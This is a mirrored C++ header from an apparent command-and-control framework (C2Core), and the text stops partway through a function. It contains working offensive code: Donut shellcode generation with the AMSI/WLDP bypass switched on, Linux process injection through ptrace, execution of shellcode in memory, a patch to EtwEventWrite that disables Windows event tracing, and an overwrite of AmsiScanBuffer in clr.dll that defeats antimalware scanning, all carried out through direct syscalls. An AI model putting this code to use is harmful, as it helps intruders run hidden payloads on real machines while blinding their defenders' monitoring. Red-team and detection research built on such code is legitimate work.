mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
108a370807
* CommandSpecs * CommandSpecs * feat(command-specs): add simple module specs * listModule * AssemblyExec * AssemblyExecTests * Minor * Inject * InjectTests * Spec modules * Folder layout * upload & download * Chisel Minidump Powershell & Script * CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot * add artifact_filters * Minor * stabilisation * Fixes * manual test * manual test * manual test * manual test * manual test * manual test * manual test * manual test * ScreenShot png * socks5 hostname * Maj for AI * minor
1088 lines
36 KiB
C++
1088 lines
36 KiB
C++
#pragma once
|
|
|
|
#include <algorithm>
|
|
#include <cstdio>
|
|
#include <string>
|
|
#include <vector>
|
|
|
|
#ifdef __linux__
|
|
#include <sys/mman.h>
|
|
#include <sys/ptrace.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/user.h>
|
|
#include <spawn.h>
|
|
#include <thread>
|
|
#include <future>
|
|
#define __cdecl __attribute__((__cdecl__))
|
|
#elif _WIN32
|
|
#include <windows.h>
|
|
#include <io.h>
|
|
#include <fcntl.h>
|
|
// #include <altstr.h>
|
|
|
|
#include "syscall.hpp"
|
|
#endif
|
|
|
|
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
|
|
#include <donut.h>
|
|
|
|
|
|
// create the shellcode from exe, unmanaged DLL/EXE or .NET DLL/EXE
|
|
// method, name of method or DLL function to invoke for .NET DLL and unmanaged DLL
|
|
// param, command line to use for unmanaged DLL/EXE and .NET DLL/EXE
|
|
std::string static inline creatShellCodeDonut(
|
|
std::string cmd, std::string method, std::string param, std::string& shellcode, bool exitProcess=true, bool debug=false, std::string arch = "x64")
|
|
{
|
|
std::string result;
|
|
|
|
// Donut
|
|
DONUT_CONFIG c;
|
|
memset(&c, 0, sizeof(c));
|
|
|
|
// copy input file
|
|
memcpy(c.input, cmd.c_str(), DONUT_MAX_NAME - 1);
|
|
|
|
// default settings
|
|
|
|
c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded
|
|
|
|
if(arch=="x64")
|
|
c.arch = DONUT_ARCH_X64;
|
|
else if(arch=="x86")
|
|
c.arch = DONUT_ARCH_X86;
|
|
else if(arch=="arm64")
|
|
c.arch = DONUT_ARCH_ARM64;
|
|
else
|
|
c.arch = DONUT_ARCH_X84;
|
|
|
|
c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails
|
|
c.format = DONUT_FORMAT_BINARY; // default output format
|
|
c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default
|
|
c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default
|
|
c.headers = DONUT_HEADERS_OVERWRITE;
|
|
if(exitProcess)
|
|
c.exit_opt = DONUT_OPT_EXIT_PROCESS;// exit process
|
|
else
|
|
c.exit_opt = DONUT_OPT_EXIT_THREAD; // exit thread
|
|
c.thread = 0; // run entrypoint as a thread
|
|
c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function
|
|
|
|
if(debug)
|
|
{
|
|
// debug settings
|
|
c.bypass = DONUT_BYPASS_NONE; // continues loading even if disabling AMSI/WLDP fails
|
|
c.entropy = DONUT_ENTROPY_NONE; // enable random names + symmetric encryption by default
|
|
}
|
|
|
|
if(method.size() <= (DONUT_MAX_NAME - 1) && param.size() <= (DONUT_MAX_NAME - 1))
|
|
{
|
|
memcpy(c.args, param.c_str(), param.size());
|
|
memcpy(c.method, method.c_str(), method.size());
|
|
}
|
|
|
|
// generate the shellcode
|
|
int err = DonutCreate(&c);
|
|
if (err != DONUT_ERROR_OK)
|
|
{
|
|
result += "Donut Error : ";
|
|
result += DonutError(err);
|
|
result += "\n";
|
|
return result;
|
|
}
|
|
|
|
std::ifstream input(c.output, std::ios::binary);
|
|
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
|
shellcode = buffer;
|
|
|
|
DonutDelete(&c);
|
|
|
|
result = "Donut Sucess.\n";
|
|
|
|
return result;
|
|
}
|
|
|
|
#endif
|
|
|
|
#ifdef __linux__
|
|
|
|
#include <string.h>
|
|
|
|
int static inline inject_data (pid_t pid, const char *src, void *dst, int len)
|
|
{
|
|
int i;
|
|
uint32_t *s = (uint32_t *) src;
|
|
uint32_t *d = (uint32_t *) dst;
|
|
|
|
for(int i = 0; i < len; i+=4, s++, d++)
|
|
{
|
|
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
|
|
{
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
std::string static inline inject(int pid, const std::string& payload, bool useSyscall)
|
|
{
|
|
std::string result;
|
|
|
|
pid_t target = pid;
|
|
|
|
struct user_regs_struct regs;
|
|
int syscall;
|
|
long dst;
|
|
|
|
result+="Tracing process:";
|
|
result+=std::to_string(pid);
|
|
result+="\n";
|
|
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
|
|
{
|
|
result = "Error ptrace(ATTACH): ";
|
|
result += strerror(errno);
|
|
return result;
|
|
}
|
|
|
|
result+="Waiting for process\n";
|
|
wait (NULL);
|
|
|
|
result+="Getting Register\n";
|
|
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
|
|
{
|
|
result = "Error ptrace(GETREGS): ";
|
|
result += strerror(errno);
|
|
return result;
|
|
}
|
|
|
|
result+="Injecting shell code\n";
|
|
if(inject_data (target, payload.data(), (void*)regs.rip, payload.size())==-1)
|
|
{
|
|
result = "Error ptrace(POKETEXT): ";
|
|
result += strerror(errno);
|
|
return result;
|
|
}
|
|
|
|
regs.rip += 2;
|
|
|
|
result+="Setting instruction pointer\n";
|
|
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
|
|
{
|
|
result = "Error ptrace(GETREGS): ";
|
|
result += strerror(errno);
|
|
return result;
|
|
}
|
|
|
|
result+="Run it!\n";
|
|
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
|
|
{
|
|
result = "Error ptrace(DETACH): ";
|
|
result += strerror(errno);
|
|
return result;
|
|
}
|
|
|
|
result+="Injection success.\n";
|
|
return result;
|
|
}
|
|
|
|
void static inline execShellCode(const std::string& payload)
|
|
{
|
|
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
memcpy(page, payload.data(), payload.size());
|
|
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
|
|
((void(*)())page)();
|
|
|
|
return;
|
|
}
|
|
|
|
// std::string static inline selfInject(const std::string& payload)
|
|
// {
|
|
// std::string result;
|
|
|
|
// std::thread t1(execShellCode, payload);
|
|
// t1.detach();
|
|
|
|
// return result;
|
|
// }
|
|
|
|
int static inline launchProcess(const std::string& processToSpawn)
|
|
{
|
|
std::string cmd = processToSpawn;
|
|
std::string program = "sh";
|
|
std::string programArg = "-c";
|
|
std::string programPath = "/bin/sh";
|
|
|
|
pid_t pid=-1;
|
|
char *argv[] = {program.data(), programArg.data(), cmd.data(), NULL};
|
|
int status = posix_spawn(&pid, programPath.data(), NULL, NULL, argv, NULL);
|
|
if (status == 0)
|
|
{
|
|
pid_t endID=waitpid(pid, &status, WNOHANG);
|
|
|
|
std::cout << "pid " << pid << std::endl;
|
|
std::cout << "endID " << endID << std::endl;
|
|
}
|
|
|
|
return pid;
|
|
}
|
|
|
|
std::string static inline spawnInject(const std::string& payload, const std::string& processToSpawn, bool useSyscall)
|
|
{
|
|
std::string result = "TODO";
|
|
|
|
// std::string cmd = processToSpawn;
|
|
// std::string program = "sh";
|
|
// std::string programArg = "-c";
|
|
// std::string programPath = "/bin/sh";
|
|
|
|
// pid_t pid;
|
|
// char *argv[] = {program.data(), programArg.data(), cmd.data(), NULL};
|
|
// int status;
|
|
// fflush(NULL);
|
|
// status = posix_spawn(&pid, programPath.data(), NULL, NULL, argv, NULL);
|
|
// if (status == 0)
|
|
// {
|
|
// result =+ "Process injected.";
|
|
// fflush(NULL);
|
|
|
|
// inject(pid, payload);
|
|
|
|
// // if (waitpid(pid, &status, 0) != -1)
|
|
// // {
|
|
// // }
|
|
// // else
|
|
// // {
|
|
// // perror("waitpid");
|
|
// // }
|
|
// }
|
|
// else
|
|
// {
|
|
// result =+ "Posix_spawn failed.";
|
|
// }
|
|
return result;
|
|
}
|
|
|
|
|
|
#elif _WIN32
|
|
|
|
|
|
int static inline launchProcess(const std::string& processToSpawn)
|
|
{
|
|
STARTUPINFO si;
|
|
PROCESS_INFORMATION pi;
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
CreateProcess(processToSpawn.c_str(), NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
|
|
|
return pi.dwProcessId;
|
|
}
|
|
|
|
|
|
int static inline patchEtw()
|
|
{
|
|
void * pEventWrite = (void*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
|
|
|
|
HANDLE hProc=(HANDLE)-1;
|
|
DWORD oldprotect = 0;
|
|
HANDLE hProcess = GetCurrentProcess();
|
|
SIZE_T dwSize = 1024;
|
|
void * protectBase = pEventWrite;
|
|
// NtProtectVirtualMemory may round/update BaseAddress in place; keep the original
|
|
// target pointer untouched for WriteProcessMemory/FlushInstructionCache.
|
|
Sw3NtProtectVirtualMemory_(hProcess, &protectBase, &dwSize, PAGE_READWRITE, &oldprotect);
|
|
|
|
#if defined(_M_ARM64) || defined(__aarch64__)
|
|
char patch[] = "\x00\x00\x80\x52\xc0\x03\x5f\xd6"; // mov w0, #0; ret
|
|
int patchSize = 8;
|
|
#elif defined(_WIN64)
|
|
char patch[] = "\x48\x33\xc0\xc3"; // xor rax, rax; ret
|
|
int patchSize = 4;
|
|
#else
|
|
char patch[] = "\x33\xc0\xc2\x14\x00"; // xor eax, eax; ret 14
|
|
int patchSize = 5;
|
|
#endif
|
|
|
|
WriteProcessMemory(hProc, pEventWrite, (PVOID)patch, patchSize, nullptr);
|
|
|
|
FlushInstructionCache(GetCurrentProcess(), pEventWrite, patchSize);
|
|
|
|
Sw3NtProtectVirtualMemory_(hProcess, &protectBase, &dwSize, oldprotect, &oldprotect);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
static bool GetModuleRange(HMODULE moduleBase, BYTE** moduleStart, SIZE_T* moduleSize)
|
|
{
|
|
if (!moduleBase || !moduleStart || !moduleSize)
|
|
return false;
|
|
|
|
BYTE* base = reinterpret_cast<BYTE*>(moduleBase);
|
|
|
|
auto dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
|
|
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
|
|
return false;
|
|
|
|
auto nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);
|
|
if (nt->Signature != IMAGE_NT_SIGNATURE)
|
|
return false;
|
|
|
|
*moduleStart = base;
|
|
*moduleSize = nt->OptionalHeader.SizeOfImage;
|
|
|
|
return true;
|
|
}
|
|
|
|
|
|
static BYTE* FindBytes(BYTE* start, SIZE_T size, const std::vector<BYTE>& pattern)
|
|
{
|
|
if (!start || size == 0 || pattern.empty() || pattern.size() > size)
|
|
return nullptr;
|
|
|
|
BYTE* end = start + size - pattern.size();
|
|
|
|
for (BYTE* p = start; p <= end; p++)
|
|
{
|
|
if (memcmp(p, pattern.data(), pattern.size()) == 0)
|
|
return p;
|
|
}
|
|
|
|
return nullptr;
|
|
}
|
|
|
|
|
|
static bool IsReadablePage(DWORD protect)
|
|
{
|
|
if (protect & PAGE_GUARD)
|
|
return false;
|
|
|
|
if (protect & PAGE_NOACCESS)
|
|
return false;
|
|
|
|
DWORD baseProtect = protect & 0xff;
|
|
|
|
switch (baseProtect)
|
|
{
|
|
case PAGE_READONLY:
|
|
case PAGE_READWRITE:
|
|
case PAGE_WRITECOPY:
|
|
case PAGE_EXECUTE_READ:
|
|
case PAGE_EXECUTE_READWRITE:
|
|
case PAGE_EXECUTE_WRITECOPY:
|
|
return true;
|
|
|
|
default:
|
|
return false;
|
|
}
|
|
}
|
|
|
|
|
|
static BYTE* FindBytesInReadableMemory(
|
|
BYTE* start,
|
|
SIZE_T size,
|
|
const std::vector<BYTE>& pattern
|
|
)
|
|
{
|
|
if (!start || size == 0 || pattern.empty())
|
|
return nullptr;
|
|
|
|
BYTE* moduleEnd = start + size;
|
|
BYTE* current = start;
|
|
|
|
while (current < moduleEnd)
|
|
{
|
|
MEMORY_BASIC_INFORMATION mbi{};
|
|
|
|
if (!VirtualQuery(current, &mbi, sizeof(mbi)))
|
|
break;
|
|
|
|
BYTE* regionBase = reinterpret_cast<BYTE*>(mbi.BaseAddress);
|
|
BYTE* regionEnd = regionBase + mbi.RegionSize;
|
|
|
|
if (regionEnd > moduleEnd)
|
|
regionEnd = moduleEnd;
|
|
|
|
BYTE* scanStart = current;
|
|
|
|
if (scanStart < regionBase)
|
|
scanStart = regionBase;
|
|
|
|
if (
|
|
mbi.State == MEM_COMMIT &&
|
|
IsReadablePage(mbi.Protect) &&
|
|
scanStart < regionEnd
|
|
)
|
|
{
|
|
SIZE_T scanSize = static_cast<SIZE_T>(regionEnd - scanStart);
|
|
|
|
BYTE* found = FindBytes(scanStart, scanSize, pattern);
|
|
|
|
if (found)
|
|
return found;
|
|
}
|
|
|
|
current = regionEnd;
|
|
}
|
|
|
|
return nullptr;
|
|
}
|
|
|
|
int static inline patchAmsiClr()
|
|
{
|
|
HMODULE module = LoadLibrary("clr.dll");
|
|
|
|
BYTE* moduleStart = nullptr;
|
|
SIZE_T moduleSize = 0;
|
|
|
|
if (!GetModuleRange(module, &moduleStart, &moduleSize))
|
|
return -1;
|
|
|
|
// AmsiScanBuffer
|
|
std::vector<BYTE> oldBytes = { 0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72 };
|
|
|
|
void* found = FindBytesInReadableMemory(
|
|
moduleStart,
|
|
moduleSize,
|
|
oldBytes
|
|
);
|
|
|
|
if (!found)
|
|
return -1;
|
|
|
|
|
|
char NewBytes[] = "AAAAAAAAAAAAAA";
|
|
|
|
DWORD oldprotect = 0;
|
|
HANDLE hProcess = GetCurrentProcess();
|
|
SIZE_T dwSize = 1024;
|
|
void * protectBase = found;
|
|
// NtProtectVirtualMemory may round/update BaseAddress in place; keep the original
|
|
// target pointer untouched for WriteProcessMemory/FlushInstructionCache.
|
|
Sw3NtProtectVirtualMemory_(hProcess, &protectBase, &dwSize, PAGE_READWRITE, &oldprotect);
|
|
|
|
WriteProcessMemory(hProcess, found, (PVOID)NewBytes, 14, nullptr);
|
|
|
|
FlushInstructionCache(GetCurrentProcess(), found, 14);
|
|
|
|
Sw3NtProtectVirtualMemory_(hProcess, &protectBase, &dwSize, oldprotect, &oldprotect);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// TODO
|
|
int static inline patchAmsiPowershell()
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
|
|
class StdCapture
|
|
{
|
|
public:
|
|
StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0),
|
|
m_oldStdOutHandle(INVALID_HANDLE_VALUE), m_oldStdErrHandle(INVALID_HANDLE_VALUE),
|
|
m_pipeReadHandle(INVALID_HANDLE_VALUE), m_pipeWriteHandle(INVALID_HANDLE_VALUE)
|
|
{
|
|
m_pipe[READ] = 0;
|
|
m_pipe[WRITE] = 0;
|
|
if (_pipe(m_pipe, 1048576, O_BINARY) == -1)
|
|
return;
|
|
m_oldStdOut = dup(fileno(stdout));
|
|
m_oldStdErr = dup(fileno(stderr));
|
|
if (m_oldStdOut == -1 || m_oldStdErr == -1)
|
|
return;
|
|
|
|
m_pipeReadHandle = reinterpret_cast<HANDLE>(_get_osfhandle(m_pipe[READ]));
|
|
m_pipeWriteHandle = reinterpret_cast<HANDLE>(_get_osfhandle(m_pipe[WRITE]));
|
|
if (m_pipeReadHandle == INVALID_HANDLE_VALUE || m_pipeWriteHandle == INVALID_HANDLE_VALUE)
|
|
return;
|
|
|
|
m_oldStdOutHandle = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
m_oldStdErrHandle = GetStdHandle(STD_ERROR_HANDLE);
|
|
|
|
m_init = true;
|
|
}
|
|
|
|
~StdCapture()
|
|
{
|
|
if (m_capturing)
|
|
{
|
|
EndCapture();
|
|
}
|
|
if (m_oldStdOut > 0)
|
|
close(m_oldStdOut);
|
|
if (m_oldStdErr > 0)
|
|
close(m_oldStdErr);
|
|
if (m_pipe[READ] > 0)
|
|
close(m_pipe[READ]);
|
|
if (m_pipe[WRITE] > 0)
|
|
close(m_pipe[WRITE]);
|
|
}
|
|
|
|
|
|
void BeginCapture()
|
|
{
|
|
if (!m_init)
|
|
return;
|
|
if (m_capturing)
|
|
EndCapture();
|
|
m_captured.clear();
|
|
fflush(stdout);
|
|
fflush(stderr);
|
|
dup2(m_pipe[WRITE], fileno(stdout));
|
|
dup2(m_pipe[WRITE], fileno(stderr));
|
|
SetStdHandle(STD_OUTPUT_HANDLE, m_pipeWriteHandle);
|
|
SetStdHandle(STD_ERROR_HANDLE, m_pipeWriteHandle);
|
|
m_capturing = true;
|
|
}
|
|
|
|
void DrainCapture()
|
|
{
|
|
if (!m_init || m_pipeReadHandle == INVALID_HANDLE_VALUE)
|
|
return;
|
|
|
|
for (;;)
|
|
{
|
|
DWORD bytesAvailable = 0;
|
|
if (!PeekNamedPipe(m_pipeReadHandle, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0)
|
|
break;
|
|
|
|
const int bytesToRead = static_cast<int>(std::min<DWORD>(bytesAvailable, 4096));
|
|
std::string buf;
|
|
buf.resize(bytesToRead);
|
|
const int bytesRead = read(m_pipe[READ], &(*buf.begin()), bytesToRead);
|
|
if (bytesRead <= 0)
|
|
break;
|
|
buf.resize(bytesRead);
|
|
m_captured += buf;
|
|
}
|
|
}
|
|
|
|
bool EndCapture()
|
|
{
|
|
if (!m_init)
|
|
return false;
|
|
if (!m_capturing)
|
|
return false;
|
|
fflush(stdout);
|
|
fflush(stderr);
|
|
dup2(m_oldStdOut, fileno(stdout));
|
|
dup2(m_oldStdErr, fileno(stderr));
|
|
SetStdHandle(STD_OUTPUT_HANDLE, m_oldStdOutHandle);
|
|
SetStdHandle(STD_ERROR_HANDLE, m_oldStdErrHandle);
|
|
DrainCapture();
|
|
m_capturing = false;
|
|
return true;
|
|
}
|
|
|
|
std::string GetCapture() const
|
|
{
|
|
std::string::size_type idx = m_captured.find_last_not_of("\r\n");
|
|
if (idx == std::string::npos)
|
|
{
|
|
return m_captured;
|
|
}
|
|
else
|
|
{
|
|
return m_captured.substr(0, idx+1);
|
|
}
|
|
}
|
|
|
|
private:
|
|
enum PIPES { READ, WRITE };
|
|
int m_pipe[2];
|
|
int m_oldStdOut;
|
|
int m_oldStdErr;
|
|
HANDLE m_oldStdOutHandle;
|
|
HANDLE m_oldStdErrHandle;
|
|
HANDLE m_pipeReadHandle;
|
|
HANDLE m_pipeWriteHandle;
|
|
bool m_capturing;
|
|
bool m_init;
|
|
std::string m_captured;
|
|
};
|
|
|
|
|
|
// https://www.codeproject.com/Tips/139349/Getting-the-address-of-a-function-in-a-DLL-loaded
|
|
#include <psapi.h>
|
|
|
|
HMODULE inline GetRemoteModuleHandle(HANDLE hProcess, LPCSTR lpModuleName)
|
|
{
|
|
HMODULE* ModuleArray = NULL;
|
|
DWORD ModuleArraySize = 100;
|
|
DWORD NumModules = 0;
|
|
CHAR lpModuleNameCopy[MAX_PATH] = {0};
|
|
CHAR ModuleNameBuffer[MAX_PATH] = {0};
|
|
|
|
/* Make sure we didn't get a NULL pointer for the module name */
|
|
if(lpModuleName == NULL)
|
|
goto GRMH_FAIL_JMP;
|
|
|
|
/* Convert lpModuleName to all lowercase so the comparison isn't case sensitive */
|
|
for (size_t i = 0; lpModuleName[i] != '\0' && i<MAX_PATH; ++i)
|
|
{
|
|
if (lpModuleName[i] >= 'A' && lpModuleName[i] <= 'Z')
|
|
lpModuleNameCopy[i] = lpModuleName[i] + 0x20; // 0x20 is the difference between uppercase and lowercase
|
|
else
|
|
lpModuleNameCopy[i] = lpModuleName[i];
|
|
|
|
lpModuleNameCopy[i+1] = '\0';
|
|
}
|
|
|
|
/* Allocate memory to hold the module handles */
|
|
ModuleArray = new HMODULE[ModuleArraySize];
|
|
|
|
/* Check if the allocation failed */
|
|
if(ModuleArray == NULL)
|
|
goto GRMH_FAIL_JMP;
|
|
|
|
/* Get handles to all the modules in the target process */
|
|
if(!::EnumProcessModulesEx(hProcess, ModuleArray, ModuleArraySize * sizeof(HMODULE), &NumModules, LIST_MODULES_ALL))
|
|
goto GRMH_FAIL_JMP;
|
|
|
|
/* We want the number of modules not the number of bytes */
|
|
NumModules /= sizeof(HMODULE);
|
|
|
|
/* Did we allocate enough memory for all the module handles? */
|
|
if(NumModules > ModuleArraySize)
|
|
{
|
|
delete[] ModuleArray; // Deallocate so we can try again
|
|
ModuleArray = NULL; // Set it to NULL se we can be sure if the next try fails
|
|
ModuleArray = new HMODULE[NumModules]; // Allocate the right amount of memory
|
|
|
|
/* Check if the allocation failed */
|
|
if(ModuleArray == NULL)
|
|
goto GRMH_FAIL_JMP;
|
|
|
|
ModuleArraySize = NumModules; // Update the size of the array
|
|
|
|
/* Get handles to all the modules in the target process */
|
|
if( !::EnumProcessModulesEx(hProcess, ModuleArray, ModuleArraySize * sizeof(HMODULE), &NumModules, LIST_MODULES_ALL) )
|
|
goto GRMH_FAIL_JMP;
|
|
|
|
/* We want the number of modules not the number of bytes */
|
|
NumModules /= sizeof(HMODULE);
|
|
}
|
|
|
|
/* Iterate through all the modules and see if the names match the one we are looking for */
|
|
for(DWORD i = 0; i <= NumModules; ++i)
|
|
{
|
|
/* Get the module's name */
|
|
::GetModuleBaseName(hProcess, ModuleArray[i], ModuleNameBuffer, sizeof(ModuleNameBuffer));
|
|
|
|
/* Convert ModuleNameBuffer to all lowercase so the comparison isn't case sensitive */
|
|
for (size_t j = 0; ModuleNameBuffer[j] != '\0' && j<MAX_PATH; ++j)
|
|
{
|
|
if (ModuleNameBuffer[j] >= 'A' && ModuleNameBuffer[j] <= 'Z')
|
|
ModuleNameBuffer[j] += 0x20; // 0x20 is the difference between uppercase and lowercase
|
|
}
|
|
|
|
/* Does the name match? */
|
|
if(strstr(ModuleNameBuffer, lpModuleNameCopy) != NULL)
|
|
{
|
|
/* Make a temporary variable to hold return value*/
|
|
HMODULE TempReturn = ModuleArray[i];
|
|
|
|
/* Give back that memory */
|
|
delete[] ModuleArray;
|
|
|
|
/* Success */
|
|
return TempReturn;
|
|
}
|
|
|
|
/* Wrong module let's try the next... */
|
|
}
|
|
|
|
/* Uh Oh... */
|
|
GRMH_FAIL_JMP:
|
|
|
|
/* If we got to the point where we allocated memory we need to give it back */
|
|
if(ModuleArray != NULL)
|
|
delete[] ModuleArray;
|
|
|
|
/* Failure... */
|
|
return NULL;
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
// TODO recode GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp
|
|
FARPROC inline GetRemoteProcAddress (HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName, UINT Ordinal, BOOL UseOrdinal)
|
|
{
|
|
BOOL Is64Bit = FALSE;
|
|
MODULEINFO RemoteModuleInfo = {0};
|
|
UINT_PTR RemoteModuleBaseVA = 0;
|
|
IMAGE_DOS_HEADER DosHeader = {0};
|
|
DWORD Signature = 0;
|
|
IMAGE_FILE_HEADER FileHeader = {0};
|
|
IMAGE_OPTIONAL_HEADER64 OptHeader64 = {0};
|
|
IMAGE_OPTIONAL_HEADER32 OptHeader32 = {0};
|
|
IMAGE_DATA_DIRECTORY ExportDirectory = {0};
|
|
IMAGE_EXPORT_DIRECTORY ExportTable = {0};
|
|
UINT_PTR ExportFunctionTableVA = 0;
|
|
UINT_PTR ExportNameTableVA = 0;
|
|
UINT_PTR ExportOrdinalTableVA = 0;
|
|
DWORD* ExportFunctionTable = NULL;
|
|
DWORD* ExportNameTable = NULL;
|
|
WORD* ExportOrdinalTable = NULL;
|
|
|
|
/* Temporary variables not used until much later but easier
|
|
/* to define here than in all the the places they are used */
|
|
CHAR TempChar;
|
|
BOOL Done = FALSE;
|
|
|
|
/* Check to make sure we didn't get a NULL pointer for the name unless we are searching by ordinal */
|
|
if(lpProcName == NULL && !UseOrdinal)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Get the base address of the remote module along with some other info we don't need */
|
|
if(!::GetModuleInformation(hProcess, hModule,&RemoteModuleInfo, sizeof(RemoteModuleInfo)))
|
|
goto GRPA_FAIL_JMP;
|
|
RemoteModuleBaseVA = (UINT_PTR)RemoteModuleInfo.lpBaseOfDll;
|
|
|
|
/* Read the DOS header and check it's magic number */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)RemoteModuleBaseVA, &DosHeader,
|
|
sizeof(DosHeader), NULL) || DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Read and check the NT signature */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew),
|
|
&Signature, sizeof(Signature), NULL) || Signature != IMAGE_NT_SIGNATURE)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Read the main header */
|
|
if(!::ReadProcessMemory(hProcess,
|
|
(LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature)),
|
|
&FileHeader, sizeof(FileHeader), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Which type of optional header is the right size? */
|
|
if(FileHeader.SizeOfOptionalHeader == sizeof(OptHeader64))
|
|
Is64Bit = TRUE;
|
|
else if(FileHeader.SizeOfOptionalHeader == sizeof(OptHeader32))
|
|
Is64Bit = FALSE;
|
|
else
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
if(Is64Bit)
|
|
{
|
|
/* Read the optional header and check it's magic number */
|
|
if(!::ReadProcessMemory(hProcess,
|
|
(LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature) + sizeof(FileHeader)),
|
|
&OptHeader64, FileHeader.SizeOfOptionalHeader, NULL)
|
|
|| OptHeader64.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
|
goto GRPA_FAIL_JMP;
|
|
}
|
|
else
|
|
{
|
|
/* Read the optional header and check it's magic number */
|
|
if(!::ReadProcessMemory(hProcess,
|
|
(LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature) + sizeof(FileHeader)),
|
|
&OptHeader32, FileHeader.SizeOfOptionalHeader, NULL)
|
|
|| OptHeader32.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
|
goto GRPA_FAIL_JMP;
|
|
}
|
|
|
|
/* Make sure the remote module has an export directory and if it does save it's relative address and size */
|
|
if(Is64Bit && OptHeader64.NumberOfRvaAndSizes >= IMAGE_DIRECTORY_ENTRY_EXPORT + 1)
|
|
{
|
|
ExportDirectory.VirtualAddress = (OptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).VirtualAddress;
|
|
ExportDirectory.Size = (OptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).Size;
|
|
}
|
|
else if(OptHeader32.NumberOfRvaAndSizes >= IMAGE_DIRECTORY_ENTRY_EXPORT + 1)
|
|
{
|
|
ExportDirectory.VirtualAddress = (OptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).VirtualAddress;
|
|
ExportDirectory.Size = (OptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).Size;
|
|
}
|
|
else
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Read the main export table */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + ExportDirectory.VirtualAddress), &ExportTable, sizeof(ExportTable), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Save the absolute address of the tables so we don't need to keep adding the base address */
|
|
ExportFunctionTableVA = RemoteModuleBaseVA + ExportTable.AddressOfFunctions;
|
|
ExportNameTableVA = RemoteModuleBaseVA + ExportTable.AddressOfNames;
|
|
ExportOrdinalTableVA = RemoteModuleBaseVA + ExportTable.AddressOfNameOrdinals;
|
|
|
|
/* Allocate memory for our copy of the tables */
|
|
ExportFunctionTable = new DWORD[ExportTable.NumberOfFunctions];
|
|
ExportNameTable = new DWORD[ExportTable.NumberOfNames];
|
|
ExportOrdinalTable = new WORD[ExportTable.NumberOfNames];
|
|
|
|
/* Check if the allocation failed */
|
|
if(ExportFunctionTable == NULL || ExportNameTable == NULL || ExportOrdinalTable == NULL)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Get a copy of the function table */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportFunctionTableVA,
|
|
ExportFunctionTable, ExportTable.NumberOfFunctions * sizeof(DWORD), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Get a copy of the name table */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportNameTableVA,
|
|
ExportNameTable, ExportTable.NumberOfNames * sizeof(DWORD), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Get a copy of the ordinal table */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)ExportOrdinalTableVA,
|
|
